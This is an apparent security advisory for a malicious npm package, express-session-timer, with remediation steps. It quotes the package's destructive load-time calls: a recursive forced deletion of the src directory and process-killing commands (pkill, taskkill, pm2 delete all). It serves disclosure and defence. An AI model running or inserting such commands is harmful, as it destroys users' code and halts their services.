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OpenAdvisories
Malicious MAL-2026-16065

express-session-timer

npm package · versions 1.0.0, 1.0.1, 1.0.13, 1.0.14, 1.0.16, 1.0.11, 1.0.15

Reported Sep 9, 2026 · Updated Sep 30, 2026

If this package is installed

Remove it, treat the machine (or CI runner) as compromised, and rotate every secret, token and key it could access — from a different, clean machine.

Details

Source: amazon-inspector (325e241839ca2d0861d19807df248bf7b06922533bccb441bbee521471f5d73f)
express-session-timer@1.0.1 schedules an unconditional destructive routine at module load time. Approximately 18 seconds after `require('express-session-timer')`, the package recursively removes `<cwd>/src` via `fs.rm(path.join(process.cwd(),'src'), {recursive:true, force:true})` and terminates Node processes with `pkill -f "node.*${process.cwd()}"` on Unix, `taskkill /IM node.exe /F` on Windows, and `npx pm2 delete all`. The behavior fires with no configuration, opt-in, or relationship to the package's advertised functionality — merely importing the module deletes the installer's source tree and stops their running server. The manifest also pins `express-timer: ^0.0.1-security`, npm's security-hold placeholder convention, indicating an unpinned resolution against a name previously held after takedown.